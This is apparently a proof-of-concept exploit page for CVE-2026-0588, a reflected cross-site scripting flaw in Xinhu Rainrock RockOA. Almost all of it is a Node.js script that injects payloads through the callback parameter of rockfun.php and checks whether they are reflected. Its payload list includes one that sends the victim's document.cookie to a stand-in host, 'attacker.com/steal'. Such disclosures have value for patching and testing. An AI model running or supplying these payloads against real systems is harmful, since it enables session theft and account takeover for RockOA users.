CVE-2026-0588 Xinhu Rainrock RockOA跨站脚本漏洞

// CVE-2026-0588 PoC - Xinhu Rainrock RockOA XSS via callback parameter // Target: http://[target]/rockfun.php const http = require('http'); function exploitXSS(targetUrl, callbackPayload) { // Construct malicious URL with XSS payload in callback parameter const maliciousUrl = `${targetUrl}?callback=${encodeURIComponent(callbackPayload)}`; console.log('[*] Target URL:', maliciousUrl); console.log('[*] Payload:', callbackPayload); // Simulate HTTP request to trigger vulnerability const url = new URL(maliciousUrl); const options = { hostname: url.hostname, port: url.port || 80, path: url.pathname + url.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml' } }; const req = http.request(options, (res) => { console.log(`[+] Status Code: ${res.statusCode}`); let data = ''; res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { // Check if payload is reflected in response if (data.includes(callbackPayload)) { console.log('[!] VULNERABLE: XSS payload reflected in response'); } else { console.log('[-] Not vulnerable or payload filtered'); } }); }); req.on('error', (e) => { console.error('[-] Request failed:', e.message); }); req.end(); } // Example payloads const payloads = [ '<script>alert(document.domain)</script>', '<img src=x onerror=alert(document.cookie)>', '<svg/onload=fetch("http://attacker.com/steal?c="+document.cookie)>' ]; // Execute exploit const target = 'http://target-server/rockfun.php'; payloads.forEach((payload, i) => { console.log(`\n[*] Testing payload ${i + 1}...`); exploitXSS(target, payload); });